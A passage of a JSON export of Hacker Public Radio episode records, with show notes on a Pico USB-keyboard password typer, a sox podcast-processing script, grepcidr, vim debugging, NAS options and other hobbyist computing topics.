                                                            • https://github.com/adafruit/Adafruit_CircuitPython_Bundle\n-> Releases
                                                            • \n
                                                            • Download adafruit-circuitpython-bundle-py-20231219.zip\nor current version.
                                                            • \n
                                                            • Create a lib directory on the circuit python\ndrive.
                                                            • \n
                                                            • Copy the directory lib/adafruit_hid from the zip to\nlib on the circuit python drive.
                                                            • \n
                                                            \n

                                                            Code.py

                                                            \n
                                                              \n
                                                            • Circuit python execute code.py
                                                            • \n
                                                            • Copy the code to send the passwords to the file\ncode.py
                                                            • \n
                                                            \n

                                                            How to use

                                                            \n
                                                              \n
                                                            • Plug in the pico to your PC and mount the drive
                                                            • \n
                                                            • The LED will blink - 1 second on and 1 second off
                                                            • \n
                                                            • Save the password you want to input as keystrokes in the file\npw.txt
                                                            • \n
                                                            • When you are ready for the pico to do the typing, create the file\nsend_keys
                                                            • \n
                                                            • The LED's will blink fast 5 times, then 4 times, ...
                                                            • \n
                                                            • Wait for the LED flashes to count down.
                                                            • \n
                                                            • The pico will send the keystrokes and restart the countdown.
                                                            • \n
                                                            • Remove the file send_keys so stop the input.
                                                            • \n
                                                            • Overwrite pw.txt to be extra secure.
                                                            • \n
                                                            \n

                                                            Adapted from Ada\nfruit circuit python examples

                                                            \n
                                                              \n
                                                            • MIT\nLicensed
                                                            • \n
                                                            • Keyboard\nExample
                                                            • \n
                                                            \n

                                                            Code

                                                            \n

                                                            Gitlab\nRepo

                                                            \n
                                                            \n
                                                            import os\nimport time\n\nimport board\nimport digitalio\nimport usb_hid\n\n# https://github.com/adafruit/Adafruit_CircuitPython_Bundle\nfrom adafruit_hid.keyboard import Keyboard\nfrom adafruit_hid.keyboard_layout_us import KeyboardLayoutUS\nfrom adafruit_hid.keycode import Keycode\n\nled = digitalio.DigitalInOut(board.LED)\nled.direction = digitalio.Direction.OUTPUT\n\nwith open("pw.txt", "r") as pw_file:\n    pw = pw_file.read()\n\na_keys_pressed = [Keycode.A, pw]\ncontrol_key = Keycode.SHIFT\n\n# The keyboard object!\ntime.sleep(1)  # Sleep for a bit to avoid a race condition on some systems\nkeyboard = Keyboard(usb_hid.devices)\nkeyboard_layout = KeyboardLayoutUS(keyboard)  # We're in the US :)\n\ndef blink_count(i, delay):\n    for _ in range(i):\n        led.value = True\n        time.sleep(delay)\n        led.value = False\n        time.sleep(delay)\n    time.sleep(1)\n\ndef countdown_and_send():\n    for i in reversed(range(6)):\n        print(i)\n        blink_count(i, delay=0.2)\n    print(f"Sending {a_keys_pressed} as keystrokes")\n    for key in a_keys_pressed:\n        if isinstance(key, str):  # If it's a string...\n            keyboard_layout.write(key)  # ...Print the string\n\nwhile True:\n    print("Hello, CircuitPython!")\n    try:\n        os.stat("send_keys")\n        countdown_and_send()\n    except OSError:\n        blink_count(1, 1)\n        print("touch send_keys to enable keypresses")
                                                            \n

                                                            Playground express version

                                                            \n
                                                            # SPDX-FileCopyrightText: 2018 Kattni Rembor for Adafruit Industries\n#\n# SPDX-License-Identifier: MIT\n\n"""CircuitPython Essentials HID Keyboard example"""\nimport time\n\nimport usb_hid\nfrom adafruit_circuitplayground import cp\nfrom adafruit_hid.keyboard import Keyboard\nfrom adafruit_hid.keyboard_layout_us import KeyboardLayoutUS\nfrom adafruit_hid.keycode import Keycode\n\na_keys_pressed = [Keycode.A, "aaaabbbbccccdddd@@"]\nb_keys_pressed = [Keycode.A, "eeeeffffgggghhhh@@"]\n\n\ncontrol_key = Keycode.SHIFT\n\ntime.sleep(1)  # Sleep for a bit to avoid a race condition on some systems\nkeyboard = Keyboard(usb_hid.devices)\nkeyboard_layout = KeyboardLayoutUS(keyboard)  # We're in the US :)\n\n\nprint("Waiting for key pin...")\n\nwhile True:\n    if cp.button_a:\n        print("A")\n        for key in a_keys_pressed:\n            if isinstance(key, str):  # If it's a string...\n                keyboard_layout.write(key)  # ...Print the string\n    elif cp.button_b:\n        print("B")\n        for key in b_keys_pressed:\n            if isinstance(key, str):  # If it's a string...\n                keyboard_layout.write(key)  # ...Print the string\n\n    time.sleep(0.1)
                                                            \n

                                                            Links

                                                            \n\n","hostid":342,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"python, raspberry pi pico, passwords","version":0,"downloads":0,"valid":1}, {"id":4029,"date":"2024-01-11","title":"The product.","duration":735,"summary":"Good Heavens, it's secret hat time with Sgoti.","notes":"

                                                            The product.

                                                            \n

                                                            Secret hat time with Sgoti.

                                                            \n
                                                              \n
                                                            • Source: What is a \"product\":?\n
                                                                \n
                                                              • noun; Something produced by human or mechanical effort or by a\nnatural process, as.
                                                              • \n
                                                              • noun; An item that is made or refined and marketed.
                                                              • \n
                                                            • \n
                                                            • Supporting Source: The\nProduct model:\n
                                                                \n
                                                              • ... In addition, a specific unit of a product is often (and in some\ncontexts must be) identified by a serial number, which is necessary to\ndistinguish products with the same product definition.
                                                              • \n
                                                            • \n
                                                            • Supporting Source: What is\nCommodification?\n
                                                                \n
                                                              • Within a capitalist economic system, commodification is the\ntransformation of things such as goods, services, ideas, nature,\npersonal information, people or animals into objects of trade or\ncommodities. A commodity at its most basic, according to Arjun\nAppadurai, is \"anything intended for exchange,\" or any object of\neconomic value.
                                                              • \n
                                                              • Commodification is often criticized on the grounds that some things\nought not to be treated as commodities-for example, water, education,\ndata, information, knowledge, human life, and animal life.
                                                              • \n
                                                            • \n
                                                            • Supporting Source: What is Attention\neconomy?\n
                                                                \n
                                                              • Attention economics is an approach to the management of information\nthat treats human attention as a scarce commodity and applies economic\ntheory to solve various information management problems. According to\nMatthew Crawford, \"Attention is a resource-a person has only so much of\nit.\" Thomas H. Davenport and John C. Beck add to that definition:
                                                              • \n
                                                              • Attention is focused mental engagement on a particular item of\ninformation. Items come into our awareness, we attend to a particular\nitem, and then we decide whether to act.
                                                              • \n
                                                            • \n
                                                            • Supporting Source: What is\nSurveillance capitalism?\n
                                                                \n
                                                              • Surveillance capitalism is a concept in political economics which\ndenotes the widespread collection and commodification of personal data\nby corporations. This phenomenon is distinct from government\nsurveillance, though the two can reinforce each other. The concept of\nsurveillance capitalism, as described by Shoshana Zuboff, is driven by a\nprofit-making incentive, and arose as advertising companies, led by\nGoogle's AdWords, saw the possibilities of using personal data to target\nconsumers more precisely.
                                                              • \n
                                                            • \n
                                                            • Source: AirTags\nare being used to track people and cars...
                                                            • \n
                                                            • Source: Exposure\nNotifications: Help slow the spread of COVID-19...
                                                            • \n
                                                            • Source: FTC:\nRing employees spied on users; cameras were unsecure...
                                                            • \n
                                                            • Source: FDA\nTakes Additional Action in Fight Against COVID-19 By Issuing Emergency\nUse Authorization...
                                                            • \n
                                                            \n

                                                            This work is licensed under a Creative Commons\nAttribution-ShareAlike 4.0 International License.

                                                            \n","hostid":391,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Secret hat, Commodification, product","version":0,"downloads":0,"valid":1}, {"id":4030,"date":"2024-01-12","title":"Playing Alpha Centauri, Part 4","duration":728,"summary":"Part 4 of tips on playing Alpha Centauri","notes":"

                                                            This continues our look at how to play Alpha Centauri, and we look at\ngame concepts that set this game apart from others.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":122,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Alpha Centauri","version":0,"downloads":0,"valid":1}, {"id":4031,"date":"2024-01-15","title":"ClaudioM's Laptops - Evoo EVC141-12BK Review","duration":613,"summary":"Claudio talks about his Evoo EVC141-12BK laptop.","notes":"

                                                            About Evoo, the brand: https://best.kevin.games/evoo-company-review

                                                            \n

                                                            Chris G's EVC141-12 Review: https://www.youtube.com/watch?v=olPUSDFY9MQ

                                                            \n

                                                            Motile M142: https://www.pcworld.com/article/398581/motile-m142-review-ryzen-finds-a-home-in-this-surprisingly-good-budget-notebook.html

                                                            \n

                                                            Evoo EVC141-12BK listing - BrandsMart: https://www.brandsmartusa.com/evoo/249126/14-1-elite-series-amd-ryzen-5-3500u-processor-8gb-ram-256gb-ssd-ultra-slim-laptop-black.htm

                                                            \n

                                                            Evoo EVC141-12BK listing - Walmart: https://www.walmart.com/ip/EVOO-14-1-Ultra-Slim-Notebook-Elite-Series-FHD-Display-AMD-Ryzen-5-3500U-Processor-Radeon-Vega-8-Graphics-8GB-RAM-256GB-SSD-HD-Webcam-Windows-10-Home/419496306

                                                            \n

                                                            Evoo EVC141-12 Laptop Specs:

                                                            \n
                                                              \n
                                                            • Windows 10 Home
                                                            • \n
                                                            • 14.1” FHD Display, 1920 x 1080, 60Hz
                                                            • \n
                                                            • AMD Ryzen™ 5 3500U Mobile Processor with Radeon™ Vega 8 Graphics\n(2.1GHz, Up to 3.7GHz)
                                                            • \n
                                                            • 256GB Solid State Drive
                                                            • \n
                                                            • 8GB Memory (RAM)
                                                            • \n
                                                            • HD Front Camera
                                                            • \n
                                                            • Up to 10 hours of battery life
                                                            • \n
                                                            • Bluetooth 4.2
                                                            • \n
                                                            • HDMI Port x 1
                                                            • \n
                                                            • USB 2.0 x 1
                                                            • \n
                                                            • USB 3.1 x 2
                                                            • \n
                                                            • USB Type-C x 1 (Data Transfer Only)
                                                            • \n
                                                            • Kensington Lock x 1
                                                            • \n
                                                            • Ethernet Port x 1
                                                            • \n
                                                            \n","hostid":152,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"laptops,evoo,walmart,amd,ryzen,technology","version":0,"downloads":0,"valid":1}, {"id":4032,"date":"2024-01-16","title":"Drive Casting: an opinion on advertising","duration":896,"summary":"Sgoti gives his opinion on advertising, while driving.","notes":"

                                                            Drive Casting: an\nopinion on advertising

                                                            \n

                                                            Sgoti\ngives his opinion on advertising, while driving.

                                                            \n
                                                              \n
                                                            • Tags: Drive casting, advertising, marketing

                                                            • \n
                                                            • Source: Advertising

                                                              \n
                                                                \n
                                                              • Advertising is the practice and techniques employed to bring\nattention to a product or service. Advertising aims to put a product or\nservice in the spotlight in hopes of drawing it attention from\nconsumers. It is typically used to promote a specific good or service,\nbut there are wide range of uses, the most common being the commercial\nadvertisement.
                                                              • \n
                                                            • \n
                                                            • Source: Marketing

                                                              \n
                                                                \n
                                                              • Marketing is the process of identifying customers and \"creating,\ncommunicating, delivering, and exchanging\" goods and services for the\nsatisfaction and retention of those customers. It is one of the primary\ncomponents of business management and commerce.
                                                              • \n
                                                            • \n
                                                            • Source: Consumer

                                                              \n
                                                                \n
                                                              • A consumer is a person or a group who intends to order, or use\npurchased goods, products, or services primarily for personal, social,\nfamily, household and similar needs, who is not directly related to\nentrepreneurial or business activities. The term most commonly refers to\na person who purchases goods and services for personal use.
                                                              • \n
                                                            • \n
                                                            • A\nduck duck go search result of: you're the product

                                                            • \n
                                                            \n

                                                            This work is licensed under a Creative Commons\nAttribution-ShareAlike 4.0 International License.

                                                            \n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Drivecast, advertising, marketing","version":0,"downloads":0,"valid":1}, {"id":4033,"date":"2024-01-17","title":"Using playerctl to control media players","duration":351,"summary":"Ken maps some playerctl commands to keyboard shortcuts in lxqt","notes":"

                                                            About MPRIS

                                                            \n
                                                            \n

                                                            The Media Player Remote Interfacing Specification is a standard D-Bus\ninterface which aims to provide a common programmatic API for\ncontrolling media players.

                                                            \n
                                                            \n
                                                            \n

                                                            It provides a mechanism for discovery, querying and basic playback\ncontrol of compliant media players, as well as a tracklist interface\nwhich is used to add context to the active media item.

                                                            \n
                                                            \n

                                                            man playerctl

                                                            \n
                                                            \n

                                                            DESCRIPTION

                                                            \n

                                                            The playerctl utility controls MPRIS-enabled media players. In\naddition to offering play, pause and stop control, playerctl also offers\nprevious and next track support, the ability to seek backwards and\nforwards in a track, and volume control. playerctl also supports\ndisplaying metadata (e.g., artist, title, album) for the current track,\nand showing the status of the player.

                                                            \n

                                                            Players that can be controlled using playerctl include audacious(1),\ncmus(1), mopidy(1), mpd(1), quodlibet(1), rhythmbox(1), vlc(1) and\nxmms2(1). However, any player that implements the MPRIS interface\nspecification can be controlled using playerctl including web\nbrowsers.

                                                            \n
                                                            \n

                                                            Command Summary

                                                            \n
                                                              \n
                                                            • \"playerctl status\" Get the current status of the player.
                                                            • \n
                                                            • \"playerctl play\" Command the player to play.
                                                            • \n
                                                            • \"playerctl pause\" Command the player to pause.
                                                            • \n
                                                            • \"playerctl play-pause\" Command the player to toggle between play and\npause.
                                                            • \n
                                                            • \"playerctl stop\" Command the player to stop.
                                                            • \n
                                                            • \"playerctl next\" Command the player to skip to the next track.
                                                            • \n
                                                            • \"playerctl previous\" Command the player to skip to the previous\ntrack.
                                                            • \n
                                                            \n

                                                            Links

                                                            \n
                                                              \n
                                                            • https://support.mozilla.org/en-US/kb/control-audio-or-video-playback-your-keyboard
                                                            • \n
                                                            • https://specifications.freedesktop.org/mpris-spec/2.2/
                                                            • \n
                                                            • https://www.addictivetips.com/ubuntu-linux-tips/fix-media-keys-not-working-on-linux/
                                                            • \n
                                                            \n","hostid":30,"series":123,"explicit":0,"license":"CC-BY-SA","tags":"playerctl, mpris, lxqt","version":0,"downloads":0,"valid":1}, {"id":4034,"date":"2024-01-18","title":"Sleep Tips","duration":676,"summary":"Go with operat0r on his journey to sleepy town","notes":"

                                                            https://www.sleepfoundation.org/circadian-rhythm

                                                            \n

                                                            https://en.wikipedia.org/wiki/Circadian_rhythm

                                                            \n

                                                            From Wikipedia, the free encyclopedia

                                                            \n

                                                            A circadian rhythm (/sərˈkeɪdiən/), or circadian cycle, is a natural\noscillation that repeats roughly every 24 hours. Circadian rhythms can\nrefer to any process that originates within an organism (i.e.,\nendogenous) and responds to the environment (is entrained by the\nenvironment). Circadian rhythms are regulated by a circadian clock whose\nprimary function is to rhythmically co-ordinate biological processes so\nthey occur at the correct time to maximise the fitness of an individual.\nCircadian rhythms have been widely observed in animals, plants, fungi\nand cyanobacteria and there is evidence that they evolved independently\nin each of these kingdoms of life.

                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"mental health","version":0,"downloads":0,"valid":1}, {"id":4035,"date":"2024-01-19","title":"Processing podcasts with sox","duration":1361,"summary":"A poorly edited recording that was headed for the bin, but HPR needs shows","notes":"

                                                            Processing Podcasts

                                                            \n

                                                            Ahuka's recent episodes about pre processing podcasts with audacity\nreminded me that I have been wanting to do an episode about\npre-processing podcasts with sox.

                                                            \n

                                                            I no longer need to use sox to change the podcast tempo since now, I\nuse Antena Pod on my phone

                                                            \n
                                                            \n

                                                            When I started listening to podcasts the only playback options were\neither a PC or a mp3 player. I started out just downloading the podcasts\nto my PC from the podcast's web page.

                                                            \n
                                                            \n

                                                            My first podcast automation was using bashpodder. bashpodder was\nsimple to set up and run via cron. It would: - read a file to get a list\nof RSS feeds - Track previous downloads in a log - Download new\nepisodes

                                                            \n

                                                            https://lincgeek.org/bashpodder/

                                                            \n
                                                            \n

                                                            A few of the podcasts I listened to were panels of a few hosts that\nwere recorded live and released later as a podcast. Some of those shows\nwere unedited and had some dead air that I wanted to remove. It\ntook me a few tries, but I eventually figured out how to truncate\nsilence with sox

                                                            \n
                                                            \n

                                                            Many of the podcast players I used did not have the ability to alter\nthe playback speed. So I also figured out how to change the tempo using\nsox.

                                                            \n
                                                            \n

                                                            I stuck to using dedicated mp3 players for several years. Before the\nsansa clips came out, my favorite was the sansa e200 series https://en.wikipedia.org/wiki/Sansa_e200_series They\ncould run the alternative firmware, rockbox. https://www.rockbox.org/\nI remember wasting hours playing frozen bubble on my mp3 player.

                                                            \n
                                                            \n

                                                            The sansa clips were a big innovation. Small, light, and cheap. They\nwere my preferred player until I eventually switched to phones.

                                                            \n
                                                            \n

                                                            I had a workflow set up - cron bashpodder - script to process with\nsox - script to reload podcast - mount - move from player to archive -\nmove new files to player - unmount

                                                            \n
                                                            \n

                                                            I did a HPR episode a few months ago about my first tech job. When I\nstarted there, I was given in iPhone. It was my first smart phone. While\nthere, I had started taking walks on by lunch break. And I would get to\nlisten to podcast while out.

                                                            \n
                                                            \n

                                                            There were a few times where I would run out of episodes to listen\nto. So I decided to add some podcasts to my work iPhone. For most of the\ntime I worked there, I would take my sansa with me and listen to every\nthing on it. Then if I ran out, I had my phone with me, so I would\nlisten to podcasts on it.

                                                            \n
                                                            \n

                                                            This process meant I had 2 sets of podcasts - provided by mashpodder\n- iPhone app.

                                                            \n
                                                            \n

                                                            I kept this practice of having 2 podcast sources for a few years, but\nI eventual stopped using the sansa. Phones were getting better, and the\nsansa devices were getting harder to find.

                                                            \n
                                                            \n

                                                            I wanted to start listening to my bashpodder podcasts on my phone. I\nlooked for a few file transfer solutions, but eventually settled on\nmaking my own RSS feed of files I had downloaded.

                                                            \n
                                                            \n

                                                            I found a python script that would take a directory listing of mp3s\nand build a RSS feed. Now I had a cron job that would - download -\nprocess with sox - create the RSS feed - rsync RSS XML file on podcast\nfiles to a VPS

                                                            \n

                                                            https://genrss.readthedocs.io/en/latest/

                                                            \n
                                                            \n

                                                            I used a VPS so I could download new episodes to my phone from\nanywhere. After a while, I experimented with using a AWS S3 to host the\nfiles. I stopped using S3 when the free tier ran out, and I started\ngetting charged for storage and bandwidth.

                                                            \n
                                                            \n

                                                            Eventually, when I started working at home I no longer needed the RSS\nfeed to be available from anywhere. So I just started using a http\nserver in my home lab to host my RSS feed and files. I can update my\nphone with the files I download and process as long as I am on my home\nnetwork

                                                            \n
                                                            \n

                                                            Also, one other change I made at some point was switching from\nbashpodder to mashpodder. There were a few podcast that bashpodder was\nnot able to parse.

                                                            \n
                                                            \n

                                                            Today, I listen to podcasts via antenna pod Most of of the podcasts I\nsearched for and subscribed to via the app. There are still a few\npodcasts that I get via mashpodder and pre-process with sox. Since the\nphone app is good at altering the tempo (I like 2x), I no longer have to\nuse sox for speeding up. But I still use sox for leveling the audio and\ntruncating silence.

                                                            \n

                                                            My tendency is to have the podcasts that are produced by\nstudios/companies via the app and podcasts produced by enthusiasts via\nmashpodder/sox

                                                            \n
                                                            \n
                                                            set -euo pipefail\nIFS=$'nt'\nSOX="/usr/local/bin/sox"\ncd /mashpodder/podcasts/files\nif [ -z "$(ls -A )" ]; then\n   echo "Empty"\n   exit 0\nelse\n   echo "Not Empty"\nfi\nfor i in *\n    do\n    $SOX  -v 0.5 $i "/mashpodder/podcasts/faster/$i.mp3" compand 0.3,1 6:-70,-60,-20 -5 -90  remix - silence 1 0.1 1% -1 0.1 1%  stat\n    mv -v $i ../archive/\ndone
                                                            \n
                                                            \n
                                                              \n
                                                            • Delete old file from the Archive
                                                            • \n
                                                            • Generate a RSS feed of the faster directlry
                                                            • \n
                                                            \n
                                                            find  /mashpodder/podcasts/archive/ -name "*mp3" -mtime +30 -delete\ncd /mashpodder/podcasts\n  && python2.7 ../genRSS/genRSS.py\n  -v\n  -e mp3\n  -i 'faster/faster.gif'\n  -t Faster\n  -p "Faster Podcasts"\n  -d faster\n  -H http://address.of.web.host\n  --sort-creation\n  -o faster/faster.xml
                                                            \n","hostid":342,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"podcast, sox, bash","version":0,"downloads":0,"valid":1}, {"id":4036,"date":"2024-01-22","title":"The Tildeverse","duration":242,"summary":"Claudio introduces HPR listeners to the Tildeverse.","notes":"

                                                            SDF Public Access Unix System
                                                            \nhttps://sdf.org

                                                            \n

                                                            Tildeverse
                                                            \nhttps://tildeverse.org

                                                            \n

                                                            Tilde.institute
                                                            \nhttps://tilde.institute/

                                                            \n","hostid":152,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"unix,sdf,tilde,tildeverse,bsd,linux,windows","version":0,"downloads":0,"valid":1}, {"id":4037,"date":"2024-01-23","title":"What is Overlanding?","duration":491,"summary":"We talk to George of south west Idaho Overlanding about his obsession with Overlanding","notes":"

                                                            I sit down with George about his love and passion for Overlanding and\nask the important questions about getting into this popular hobby.

                                                            \n

                                                            You can see more from George at https://www.youtube.com/@swidahooverlanding2867/videos\nand https://www.youtube.com/@bugouttrailers7964/featured

                                                            \n

                                                            Please post content to HPR!

                                                            \n","hostid":110,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Overlanding,camping,hobby,truck","version":0,"downloads":0,"valid":1}, {"id":4038,"date":"2024-01-24","title":"Network Attach Storage Options I Use Everyday","duration":2341,"summary":"A quick overview of the NAS systems/technology I use today and what I have used in the past.","notes":"

                                                            HPR Podcast January 19, 2024

                                                            \n

                                                            Here is a quick overview of the NAS systems/technology I use today\nand what I have used in the past. Some NAS systems don’t have all the\nfeatures you want but today it’s becoming easier to make them do it with\na few configurations. Overall, NAS technology has grown over the years\nand it’s blurred the lines in what we use to think of individual systems\nnow bundled up into single devices.

                                                            \n

                                                            Network Attached Storage I use

                                                            \n
                                                              \n
                                                            • What is a NAS and why do I use one
                                                            • \n
                                                            • Compare NAS options I use
                                                            • \n
                                                            • Talk about some of the old things I used
                                                            • \n
                                                            • Conclusions about which NAS are right and why
                                                            • \n
                                                            \n

                                                            List of NAS I use

                                                            \n
                                                              \n
                                                            • Synology\n
                                                                \n
                                                              • https://mariushosting.com/
                                                              • \n
                                                            • \n
                                                            • OMV\n
                                                                \n
                                                              • https://www.openmediavault.org/
                                                              • \n
                                                            • \n
                                                            • TrueNas Scale\n
                                                                \n
                                                              • https://www.truenas.com/truenas-scale/
                                                              • \n
                                                            • \n
                                                            • TrueNas Core\n
                                                                \n
                                                              • https://www.truenas.com/truenas-core/
                                                              • \n
                                                            • \n
                                                            • Individual Drives
                                                            • \n
                                                            • Windows Storage Spaces\n
                                                                \n
                                                              • https://support.microsoft.com/en-us/windows/storage-spaces-in-windows-b6c8b540-b8d8-fb8a-e7ab-4a75ba11f9f2
                                                              • \n
                                                            • \n
                                                            \n

                                                            Why do I use or have so many?

                                                            \n
                                                              \n
                                                            • I tinker a lot.
                                                            • \n
                                                            • I’m paranoid about backups.
                                                            • \n
                                                            • I enjoy spreading the load over different systems
                                                            • \n
                                                            \n

                                                            Old Ones

                                                            \n
                                                              \n
                                                            • Drobo\n
                                                                \n
                                                              • https://www.drobo.com/docs/start-drobo-5n/
                                                              • \n
                                                            • \n
                                                            • FreeNas
                                                            • \n
                                                            • OwnCloud
                                                            • \n
                                                            • SAMBA
                                                            • \n
                                                            • Raid Enclosures
                                                            • \n
                                                            • Pogoplug\n
                                                                \n
                                                              • https://www.reddit.com/r/pogoplug/comments/adcxfs/can_i_still_use_pogoplug_now_without_their_cloud/
                                                              • \n
                                                            • \n
                                                            • DLink 2323\n
                                                                \n
                                                              • https://eu.dlink.com/uk/en/products/dns-323-sharecenter-2-bay-network-storage-enclosure
                                                              • \n
                                                            • \n
                                                            \n","hostid":231,"series":61,"explicit":0,"license":"CC-BY-SA","tags":"Network Attached Storage, TrueNas, Synology, NAS, Windows, Linus, FreeBSD","version":0,"downloads":0,"valid":1}, {"id":4039,"date":"2024-01-25","title":"3 ways to keep up with Youtube Channels","duration":604,"summary":"norrist blasts out a quick episode about 3 ways he keeps up with youtube channels","notes":"

                                                            YT 3 ways

                                                            \n
                                                              \n
                                                            • Watch everything - subscribe
                                                            • \n
                                                            • Watch some - RSS reader
                                                            • \n
                                                            • binge a topic - moonmoon
                                                            • \n
                                                            \n

                                                            RSS Bridge

                                                            \n

                                                            https://github.com/RSS-Bridge/rss-bridge

                                                            \n
                                                            http://lamp.local.lan/rss-bridge/?action=display&bridge=YoutubeBridge&context=By+custom+name&custom=%40BenEater&duration_min=&duration_max=&format=Html
                                                            \n
                                                            http://lamp.local.lan/rss-bridge/?action=display&bridge=YoutubeBridge&context=By+username&u=cnn&duration_min=&duration_max=&format=Html
                                                            \n

                                                            planets

                                                            \n\n

                                                            moonmoon

                                                            \n\n","hostid":342,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"youtube, php, rss","version":0,"downloads":0,"valid":1}, {"id":4040,"date":"2024-01-26","title":"Further Into Florida","duration":893,"summary":"We continue our Florida journey and hit the Kennedy Space Center.","notes":"

                                                            We leave the Florida Panhandle to move into Central Florida and our\nhighly anticipated visit to the Kennedy Space Center. It turned out to\nbe everything we hoped, and we had a fantastic time. In fact we spent\nfive days at the Center soaking it all in, and had a blast.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":119,"explicit":0,"license":"CC-BY-SA","tags":"RV, travel, southeast US, Florida","version":0,"downloads":0,"valid":1}, {"id":4041,"date":"2024-01-29","title":"Using grepcidr to find IPs in a netblock","duration":680,"summary":"An introduction to the grepcidr command, which makes finding IPs from a netblock in log files easier","notes":"

                                                            grepcidr is usually available from your distribution's default repositories, so on Debian based systems you could install it with:

                                                            \n\n
                                                            sudo apt install grepcidr
                                                            \n\n

                                                            Example of grepcidr use:

                                                            \n\n
                                                            grepcidr 40.10.32.0/22 /var/log/syslog
                                                            \n\n

                                                            You can read more about CIDR notation on the Wikipedia page for CIDR

                                                            \n","hostid":194,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"cli,command line,linux,sysadmin,networking","version":0,"downloads":0,"valid":1}, {"id":4042,"date":"2024-01-30","title":"Debugging directly in vim","duration":1998,"summary":"Debug directly in vim using termdebug bundled with vim since vim 8.1","notes":"

                                                            Debug directly in vim

                                                            \n

                                                            TL;DL you can use gdb directly from vim without installing any\nextensions. Just compile your program with debug options and do:

                                                            \n
                                                                :packadd termdebug\n    :TermdebugCommand path-to-my-program
                                                            \n

                                                            Now the actual notes:

                                                            \n

                                                            If you actually listened to the show, I am sorry for how long it took\nme to realize that I was compiling without debug flags.

                                                            \n

                                                            This is not a good overview of gdb, I don't think, for\nthat I would recommend episode\n415 on Klaatu's Gnu World Order podcast.

                                                            \n

                                                            The program that we build up to is this:

                                                            \n
                                                            // file: main.c\n#include <stdio.h>\n#include <string.h>\n\nvoid greet(char* greeting)\n{\n-    int end = strlen(greeting);\n+    int end = strlen(greeting) - 1;\n    if (greeting[end] == '\n')\n        printf("%s", greeting);\n    else\n        printf("%s\n", greeting);\n}\n\nint main ()\n{\n    greet( "Hello world!\n");\n    return 0;\n}
                                                            \n

                                                            Where we use gdb to find out that we are checking one character past\nthe end in the if-condition rather than the last character, this then\nresults in a double new-line.

                                                            \n

                                                            Once the debugger is launched within vim, termdebug offers a few ways\nto control the debugging, namely:

                                                            \n

                                                            :Source - focus on source window. :Gdb -\nfocus on debugger window. :Program - focus on program\noutput window :Break - introduce a break point in line\nunder the cursor (in the source window) :Clear - clear the\nbreak point in the line under the cursor. :Evaluate - show\nthe value of the expression under the cursor.

                                                            \n

                                                            ... And a good deal more, if you're interested just have a gander at\n:help termdebug.

                                                            \n

                                                            I hope this helps someone make their debugging experience slightly\nless painful, as it has helped me recently :)

                                                            \n","hostid":385,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"gdb,vim,debug,C","version":0,"downloads":0,"valid":1}, {"id":4043,"date":"2024-01-31","title":"Uncommon Commands, Episode 1","duration":616,"summary":"A summary of the three command line commands, look, shuf, and xargs","notes":"

                                                            \nCommands covered in this episode:\n

                                                            \n
                                                              \n
                                                            • \nlook\n
                                                            • \n
                                                            • \nshuf\n
                                                            • \n
                                                            • \nxargs\n
                                                            • \n
                                                            \n

                                                            \nThe find command for running file:\n

                                                            \n
                                                            find . -type f -size +10M | xargs file
                                                            \n

                                                            \nThe grep syntax for matching 4 to 8 character long words:\n

                                                            \n
                                                            grep -E \"^[a-z]{4,8}$\"
                                                            \n

                                                            \nThe full diceware making command:\n

                                                            \n
                                                            look . | grep -E \"^[a-z]{4,8}$\" | shuf | xargs -n4 | head
                                                            \n","hostid":194,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"cli,command line,linux,uncommon commands","version":0,"downloads":0,"valid":1}, {"id":4044,"date":"2024-02-01","title":"Advent of code day 11-21 catchup","duration":757,"summary":"I talk through the last challenges of this years advent of code that I actually did.","notes":"

                                                            https://adventofcode.com/2023

                                                            \n

                                                            https://github.com/kalaspuffar/advent2023

                                                            \n

                                                            https://www.youtube.com/playlist?list=PLP2v7zU48xOI8D3cVaPCKHixvXT2e_R5u

                                                            \n","hostid":382,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"advent of code, 2023, challenge","version":0,"downloads":0,"valid":1}, {"id":4045,"date":"2024-02-02","title":"My Macbook Pro 15\" 2015","duration":604,"summary":"I discuss the specs and why I love this machine so much","notes":"

                                                            The specs of the machine are given

                                                            \n

                                                            Some of the open source programs I use on it are given

                                                            \n

                                                            A few criticisms of Apple are present as well

                                                            \n","hostid":297,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Apple, laptops, Macbook pro, computers","version":0,"downloads":0,"valid":1}, {"id":4046,"date":"2024-02-05","title":"HPR Community News for January 2024","duration":3269,"summary":"HPR Volunteers talk about shows released and comments posted in January 2024","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n\n Ne01sfree, \n thompsgj.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            4021Mon2024-01-01HPR Community News for December 2023HPR Volunteers
                                                            4022Tue2024-01-02dumping roms for fun and profitBrian in Ohio
                                                            4023Wed2024-01-03Information Transparency for world peaceNe01sfree
                                                            4024Thu2024-01-04Experiences with Graphene OS and why I use itenistello
